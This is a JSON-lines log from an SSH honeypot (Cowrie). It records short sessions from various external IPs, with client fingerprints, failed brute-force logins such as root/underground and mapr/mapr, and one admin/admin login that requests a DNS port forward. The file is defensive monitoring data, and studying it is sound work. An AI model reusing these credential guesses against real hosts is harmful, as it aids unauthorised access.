{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":37694,"dst_ip":"10.17.0.5","dst_port":22,"session":"78bd682703cd","protocol":"ssh","message":"New connection: 62.133.62.83:37694 (10.17.0.5:22) [session: 78bd682703cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:42.932929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:42.937399Z","src_ip":"62.133.62.83","session":"78bd682703cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:43.016848Z","src_ip":"62.133.62.83","session":"78bd682703cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"underground","message":"login attempt [root/underground] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:43.255278Z","src_ip":"62.133.62.83","session":"78bd682703cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:44.337712Z","src_ip":"62.133.62.83","session":"78bd682703cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.227.158","src_port":28902,"dst_ip":"159.203.135.109","dst_port":22,"session":"59a15ef20d4a","protocol":"ssh","message":"New connection: 165.154.227.158:28902 (159.203.135.109:22) [session: 59a15ef20d4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:46.580994Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:46.589958Z","src_ip":"165.154.227.158","session":"59a15ef20d4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:46.812435Z","src_ip":"165.154.227.158","session":"59a15ef20d4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"1234","message":"login attempt [sftpuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:47.726658Z","src_ip":"165.154.227.158","session":"59a15ef20d4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:48.951517Z","src_ip":"165.154.227.158","session":"59a15ef20d4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.136.152","src_port":33516,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a7897480d73","protocol":"ssh","message":"New connection: 43.156.136.152:33516 (10.17.0.5:22) [session: 2a7897480d73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:54.919142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:54.924482Z","src_ip":"43.156.136.152","session":"2a7897480d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:55.163687Z","src_ip":"43.156.136.152","session":"2a7897480d73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1950","message":"login attempt [root/1950] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:56.150644Z","src_ip":"43.156.136.152","session":"2a7897480d73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.228.112.254","src_port":33292,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca028eeab320","protocol":"ssh","message":"New connection: 43.228.112.254:33292 (10.17.0.5:22) [session: ca028eeab320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:57.256409Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:57.264396Z","src_ip":"43.228.112.254","session":"ca028eeab320","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:57.403625Z","src_ip":"43.156.136.152","session":"2a7897480d73","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:57.485698Z","src_ip":"43.228.112.254","session":"ca028eeab320","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwrod","message":"login attempt [root/passwrod] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:58.403222Z","src_ip":"43.228.112.254","session":"ca028eeab320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":51254,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c63e3104a85","protocol":"ssh","message":"New connection: 87.251.64.176:51254 (10.17.0.5:22) [session: 3c63e3104a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:58.416072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:58.421320Z","src_ip":"87.251.64.176","session":"3c63e3104a85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:58.518055Z","src_ip":"87.251.64.176","session":"3c63e3104a85","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:58.806764Z","src_ip":"87.251.64.176","session":"3c63e3104a85","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:58.906683Z","session":"3c63e3104a85","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:59.004318Z","src_ip":"87.251.64.176","session":"3c63e3104a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:59.237733Z","src_ip":"87.251.64.176","session":"3c63e3104a85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:53:59.627473Z","src_ip":"43.228.112.254","session":"ca028eeab320","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.115.61","src_port":60388,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f33fb7642aa","protocol":"ssh","message":"New connection: 170.106.115.61:60388 (10.17.0.5:22) [session: 9f33fb7642aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:08.088557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:08.093068Z","src_ip":"170.106.115.61","session":"9f33fb7642aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:08.161707Z","src_ip":"170.106.115.61","session":"9f33fb7642aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Amir1234","message":"login attempt [root/Amir1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:08.469048Z","src_ip":"170.106.115.61","session":"9f33fb7642aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.17.27","src_port":43726,"dst_ip":"159.203.135.109","dst_port":22,"session":"36e17e320eb8","protocol":"ssh","message":"New connection: 43.156.17.27:43726 (159.203.135.109:22) [session: 36e17e320eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:09.399418Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:09.404454Z","src_ip":"43.156.17.27","session":"36e17e320eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:09.540073Z","src_ip":"170.106.115.61","session":"9f33fb7642aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:09.635373Z","src_ip":"43.156.17.27","session":"36e17e320eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"sshuser","message":"login attempt [sshuser/sshuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:10.591094Z","src_ip":"43.156.17.27","session":"36e17e320eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:11.826030Z","src_ip":"43.156.17.27","session":"36e17e320eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54054,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f8d6625fb59","protocol":"ssh","message":"New connection: 193.32.162.151:54054 (159.203.135.109:22) [session: 8f8d6625fb59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:54.808864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:54.815015Z","src_ip":"193.32.162.151","session":"8f8d6625fb59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:54.924977Z","src_ip":"193.32.162.151","session":"8f8d6625fb59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mapr","password":"mapr","message":"login attempt [mapr/mapr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:55.245147Z","src_ip":"193.32.162.151","session":"8f8d6625fb59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:54:56.376420Z","src_ip":"193.32.162.151","session":"8f8d6625fb59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":49314,"dst_ip":"10.17.0.5","dst_port":22,"session":"ecbd66918ba2","protocol":"ssh","message":"New connection: 37.143.61.84:49314 (10.17.0.5:22) [session: ecbd66918ba2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:55:10.994830Z"}
